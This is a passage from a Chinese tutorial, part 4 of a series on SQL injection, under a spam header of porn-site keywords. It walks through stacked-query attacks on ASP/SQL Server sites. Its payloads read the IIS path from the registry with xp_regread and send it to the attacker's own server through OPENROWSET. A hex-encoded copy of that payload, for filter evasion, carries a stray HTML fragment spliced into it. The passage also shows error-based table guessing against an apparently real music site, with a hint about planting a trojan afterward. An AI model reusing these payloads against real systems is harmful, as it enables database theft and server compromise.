不卡AV在线|网页在线观看无码高清|亚洲国产亚洲国产|国产伦精品一区二区三区免费视频

學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>網(wǎng)絡(luò)安全知識>

SQL注入漏洞的攻防策略(4)

時間: 若木632 分享

  a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--

  返回正常,我們建立了一個叫l(wèi)aokai的表,有個字段叫cha8,然后:

  a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread

  'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/'

  ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''

  你的IP'';''sa'';''密碼'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result +

  ''''''')AS a');--

  出錯了......出錯信息被屏蔽了......怎么辦?經(jīng)過研究發(fā)現(xiàn)是里邊的某些字符例如 +號需要轉(zhuǎn)化成

  16進(jìn)制,或許還有別的地方要轉(zhuǎn)化......怎么辦啊?

  于是寫了一個ASCII轉(zhuǎn)化16進(jìn)制的工具,把全部的代碼轉(zhuǎn)化一下,然后注入就OK了。(工具的下載地

  址 http://www.cha8.com/ascii.rar 麻煩放入光盤,不要讓他們下,我的服務(wù)器受不了),最后自然是執(zhí)

  行上述語句了。

  a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35

  %29%20%65%78%65%63%20%

  6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43

  %41%4C%5F%4D%41%43%48%

  49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76

  %69%63%65%73%5C%57%33%

  53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20

  %27%2F%27%20%2C%40%72%

  65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69

  %20%28%63%68%61%38%29%

  20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F

  %57%53%45%54%28%27%27%

  53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F

  %27%27%2C%20%27%27%53%

  45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77

  %68%65%72%65%20%61%75%

  5F%66%6E%61%6D%65%3d/33.shtml' target='_blank'

  class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%

  2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20

  執(zhí)行成功。

  a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--

  網(wǎng)站那邊顯示還是正常頁面。。但是你這邊的事件探測器那邊會顯示:

  注入成功。。后邊知道了絕對路徑,如何添加木馬的文章就很多了。。這里就不再描述了。。

  最后說明一下:這只是一個新型的攻擊思路的講解,讓大家通過另外一種方式把數(shù)據(jù)庫里邊的數(shù)據(jù)取

  出來。。

  ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + '''''''

  部分,修改成insert把數(shù)據(jù)加入數(shù)據(jù)庫也應(yīng)該沒有問題。。甚至單獨保留 @result 都沒問題。。不過這

  樣那邊會出錯。這邊就留下一個exec 'C:/Inetpub,,1'

  SQL Injection這個話題越來越熱了,很多的論壇和hack站點都或多或少地在談?wù)撨@個問題,當(dāng)然也有很

  多革命前輩寫了N多的關(guān)于這方面的文章,所利用的也是許多知名的程序,比如動網(wǎng),塵緣雅境,而我們

  也可以拿到免費(fèi)的程序來看其中的漏洞和數(shù)據(jù)庫的結(jié)構(gòu),從中來達(dá)到注入的目的,不過如果是別人自己寫

  的程序,那么我們就不知道他的源代碼,更不知道他的數(shù)據(jù)庫結(jié)構(gòu)(數(shù)據(jù)表名和其中的字段名),就算有

  個變量未過濾提交到數(shù)據(jù)庫去,我們也是無從對其下手的,只能利用通過猜解他的數(shù)據(jù)庫結(jié)構(gòu)來構(gòu)造相應(yīng)

  的SQL語句,那么是不是就到此為止,能猜到多少是多少呢?沒有做不到的,只有想不到的,我相信這篇

  文章對研究SQL Injection朋友來說,應(yīng)該會有所啟發(fā)。

  一、發(fā)現(xiàn)漏洞,常規(guī)注入

  最近幫我們的站增加音樂,雖然本地的電信的音樂資源庫非常豐富,但是缺少有關(guān)歌手和專輯的資料

  ,所以到網(wǎng)上去閑逛找點有用的圖片和歌手簡介,通過百度搜索到了一個mp3的音樂超市,里面的資料還

  是比較豐富的,拷貝的同時順手在他的Specialid=1817后面加了一個(單引號),我突然眼前一亮:

  Microsoft OLE DB Provider for SQL Server 錯誤 80040e14

  字符串 之前有未閉合的引號。

  /showspecial.asp,行13

  Specialid沒有過濾掉單引號就直接用到SQL語句中去了,而且是SQL SERVER版本的,漏洞的可利用性

  極大,可不能就此放過這么好的練兵機(jī)會,接著換;(分號)提交進(jìn)去,居然頁面正常出來了,說明該變

  量也沒有過濾掉;號,到這里,我們就可以對此進(jìn)行SQL滲透了,按照常規(guī)的步驟:

  1、提交http://********/showspecial.asp?Specialid=1817;use master;--

  注:--的作用是注釋掉程序中后面的SQL語句,以防對我們構(gòu)造的語句有影響,比如order by..

  出現(xiàn)

  Microsoft OLE DB Provider for SQL Server 錯誤 80040e21

  多步 OLE DB 操作產(chǎn)生錯誤。如果可能,請檢查每個 OLE DB 狀態(tài)值。沒有工作被完成。

  /showspecial.asp,行13

  想在他的數(shù)據(jù)庫里增加一個管理員是不可能了,我們再換一種方法

  2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from

  [user])

  這一句的意思是猜猜看是不是存在一個名為user的表和他里面有沒有id這個字段

75367